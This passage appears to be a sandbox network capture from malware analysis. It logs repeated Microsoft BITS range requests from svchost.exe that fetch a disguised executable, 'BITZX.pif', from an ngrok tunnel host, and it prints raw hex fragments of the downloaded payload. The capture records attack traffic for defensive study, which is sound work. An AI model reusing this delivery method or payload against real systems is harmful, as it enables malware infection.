2025-01-15 14:25:09 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=11609-11728 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:25:09 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 120 Content-Range: bytes 11609-11728/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:25:09 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:25:09 UTC	120	IN	Data Raw: 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 Data Ascii: ***************

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.11.20	49807	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:25:12 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=11729-11982 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:25:13 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 254 Content-Range: bytes 11729-11982/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:25:13 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:25:13 UTC	254	IN	Data Raw: 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 a6 2b 05 28 03 5d 18 3e 20 ad d2 aa 56 20 6b 14 3a 07 59 20 e9 8d 13 58 61 7e 36 68 00 04 7b e9 67 00 04 61 28 3d f5 00 06 2a 00 00 36 2b 05 28 e9 67 2e 52 20 2a 70 7b 01 2a 00 00 a6 2b 05 28 1f 91 6c 3c 20 24 98 a5 9d 20 01 00 00 00 63 20 71 b6 2f 98 61 7e 36 68 00 04 7b fa 67 00 04 61 28 3d f5 00 06 2a 00 00 36 2b 05 28 5c 18 46 5a 20 8d 98 98 04 2a 00 00 8e 2b 05 28 59 da 5e 4c 20 73 a2 8b d3 20 9c Data Ascii: **************+(]> V k:Y Xa~6h{ga(=6+(g.R p{+(l< $ c q/a~6h{ga(=6+(\FZ +(Y^L s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.11.20	49808	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:25:15 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=11983-11995 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:25:16 UTC	312	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 13 Content-Range: bytes 11983-11995/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:25:16 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:25:16 UTC	13	IN	Data Raw: 50 d0 a4 61 7e 36 68 00 04 7b 2f 68 00 Data Ascii: Pa~6h{/h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.11.20	49809	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:25:17 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=11996-12037 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:25:18 UTC	312	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 42 Content-Range: bytes 11996-12037/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:25:18 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:25:18 UTC	42	IN	Data Raw: 04 61 28 3d f5 00 06 2a 36 2b 05 28 91 e3 04 2e 20 25 ae 55 05 2a 00 00 8e 2b 05 28 6b 65 68 61 20 99 46 c6 0e 20 ee b4 9d 79 Data Ascii: a(=6+(. %U+(keha F y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.11.20	49810	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:25:21 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=12038-12148 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:25:22 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 111 Content-Range: bytes 12038-12148/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:25:22 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:25:22 UTC	111	IN	Data Raw: 61 7e 36 68 00 04 7b 2f 68 00 04 61 28 3d f5 00 06 2a 36 2b 05 28 a9 1a 53 54 20 9e 43 3a 05 2a 00 00 2e 28 43 f5 00 06 28 39 f5 00 06 2a 22 2b 05 28 45 e5 38 63 2a 00 00 00 13 30 03 00 89 00 00 00 01 00 00 11 28 43 f5 00 06 20 02 00 00 00 fe 0e 00 00 38 00 00 00 00 fe 0c 00 00 45 04 00 00 00 05 00 00 00 4e 00 00 00 06 00 00 00 2a Data Ascii: a~6h{/ha(=6+(ST C:.(C(9"+(E8c0(C 8EN*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.11.20	49811	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:25:25 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=12149-12259 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:25:26 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 111 Content-Range: bytes 12149-12259/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:25:26 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:25:26 UTC	111	IN	Data Raw: 00 00 00 38 00 00 00 00 2a 28 39 f5 00 06 20 01 00 00 00 7e 36 68 00 04 7b 2c 68 00 04 3a cc ff ff ff 26 20 01 00 00 00 38 c1 ff ff ff 28 9a 01 00 06 20 00 00 00 00 7e 36 68 00 04 7b 2c 68 00 04 3a a8 ff ff ff 26 20 00 00 00 00 38 9d ff ff ff 28 3b f5 00 06 20 03 00 00 00 38 8e ff ff ff 00 00 00 42 2b 05 28 0c 8a 18 33 7e 5d 00 00 Data Ascii: 8*(9 ~6h{,h:& 8( ~6h{,h:& 8(; 8B+(3~]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.11.20	49812	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:25:28 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=12260-12386 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:25:29 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 127 Content-Range: bytes 12260-12386/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:25:29 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:25:29 UTC	127	IN	Data Raw: 04 14 fe 01 2a 00 00 00 36 2b 05 28 fa 4c 3e 2e 7e 5d 00 00 04 2a 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 22 00 14 a5 20 00 00 02 2a 00 00 00 12 00 16 6a 2a 00 00 00 12 00 16 6a 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 05 Data Ascii: 6+(L>.~]0" jj0**0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.11.20	49813	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:25:31 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=12387-12605 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:25:32 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 219 Content-Range: bytes 12387-12605/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:25:32 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:25:32 UTC	219	IN	Data Raw: 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 07 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 07 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 06 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 06 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 06 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 06 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 06 00 04 00 00 00 00 00 00 00 00 16 6a 2a 13 30 06 00 04 00 00 00 00 00 00 00 00 16 6a 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 16 Data Ascii: 00000000000j0j*0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.11.20	49814	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:25:35 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=12606-13081 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:25:35 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 476 Content-Range: bytes 12606-13081/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:25:35 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:25:35 UTC	476	IN	Data Raw: 6b 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 16 6c 2a 13 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 22 00 14 a5 20 00 00 02 2a 00 00 00 22 00 14 a5 20 00 00 02 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 16 6a 2a 13 30 03 00 04 00 00 00 00 Data Ascii: k0l00.(C(9**" " **00000000j*0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.11.20	49815	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:25:37 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=13082-13124 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:25:37 UTC	312	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 43 Content-Range: bytes 13082-13124/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:25:36 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:25:37 UTC	43	IN	Data Raw: 00 00 00 14 a5 3d 00 00 01 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 Data Ascii: =00*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.11.20	49816	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:25:38 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=13125-13127 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:25:38 UTC	311	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 3 Content-Range: bytes 13125-13127/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:25:37 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:25:38 UTC	3	IN	Data Raw: 30 05 00 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.11.20	49817	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:25:41 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=13128-13328 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:25:41 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 201 Content-Range: bytes 13128-13328/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:25:41 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:25:41 UTC	201	IN	Data Raw: 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 16 2a 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 06 00 04 00 00 00 00 00 00 00 00 00 16 2a 12 00 00 14 2a 00 00 00 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 Data Ascii: 000**0000.(C(9**0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.11.20	49818	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:25:43 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=13329-13717 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:25:43 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 389 Content-Range: bytes 13329-13717/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:25:43 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:25:43 UTC	389	IN	Data Raw: 00 00 00 00 00 00 2a 22 00 14 a5 4f 02 00 02 2a 00 00 00 22 00 14 a5 4f 02 00 02 2a 00 00 00 12 00 00 17 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 22 00 14 a5 20 00 00 02 2a 00 00 00 22 00 14 a5 4f 02 00 02 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 16 2a 00 00 00 12 00 00 16 2a 00 00 00 13 30 05 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 Data Ascii: "O"O*0" "O0**00.(C(9*000.(C(9****

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.11.20	49819	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:25:45 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=13718-13793 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:25:45 UTC	312	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 76 Content-Range: bytes 13718-13793/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:25:45 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:25:45 UTC	76	IN	Data Raw: 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 22 00 14 a5 20 00 00 02 2a 00 00 00 22 00 14 a5 4f 02 00 02 2a 00 00 00 12 00 00 17 2a 00 Data Ascii: 0.(C(9*" "O**

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.11.20	49820	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:25:48 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=13794-13808 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:25:48 UTC	312	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 15 Content-Range: bytes 13794-13808/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:25:48 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:25:48 UTC	15	IN	Data Raw: 00 00 12 00 00 17 2a 00 00 00 13 30 03 00 04 Data Ascii: *0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.11.20	49821	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:25:51 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=13809-14031 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:25:51 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 223 Content-Range: bytes 13809-14031/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:25:51 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:25:51 UTC	223	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 16 2a 00 00 00 12 00 00 16 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 03 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 01 10 00 00 02 00 00 01 8a 8a 01 68 00 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 16 2a 12 00 00 16 2a 00 00 00 Data Ascii: 000.(C(9**0h0000*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.11.20	49822	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:25:54 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=14032-14180 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:25:54 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 149 Content-Range: bytes 14032-14180/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:25:53 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:25:54 UTC	149	IN	Data Raw: 03 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 41 1c 00 00 02 00 00 00 7f 00 00 00 c9 01 00 00 48 02 00 00 3f 00 00 00 00 00 00 00 12 00 00 16 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 06 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a Data Ascii: 0AH?000.(C(90

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.11.20	49823	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:25:57 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=14181-14287 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:25:57 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 107 Content-Range: bytes 14181-14287/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:25:57 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:25:57 UTC	107	IN	Data Raw: 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 13 30 0c 00 ce 00 00 00 01 00 00 11 28 43 f5 00 06 20 01 00 00 00 fe 0e 00 00 38 00 Data Ascii: 0.(C(9*00(C 8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.11.20	49824	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:26:00 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=14288-14533 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:26:00 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 246 Content-Range: bytes 14288-14533/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:26:00 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:26:00 UTC	246	IN	Data Raw: 00 00 00 fe 0c 00 00 45 05 00 00 00 2a 00 00 00 06 00 00 00 8f 00 00 00 4e 00 00 00 05 00 00 00 38 25 00 00 00 2a 28 39 f5 00 06 20 00 00 00 00 7e 36 68 00 04 7b 10 68 00 04 3a c8 ff ff ff 26 20 00 00 00 00 38 bd ff ff ff 28 3b f5 00 06 20 00 00 00 00 7e 36 68 00 04 7b 4f 68 00 04 3a a4 ff ff ff 26 20 02 00 00 00 38 99 ff ff ff 20 b0 de e2 0a 20 01 f9 00 00 20 8b 47 00 00 20 bb 00 00 00 20 9f 00 00 00 20 88 00 00 00 1f 1e 20 e8 00 00 00 1c 1f 67 20 88 00 00 00 73 83 00 00 0a 80 a6 00 00 04 20 04 00 00 00 38 58 ff ff ff 28 29 f6 00 06 20 03 00 00 00 38 49 ff ff ff 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 04 00 04 00 Data Ascii: EN8%(9 ~6h{h:& 8(; ~6h{Oh:& 8 G g s 8X() 8I*00*0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.11.20	49825	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:26:03 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=14534-14619 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
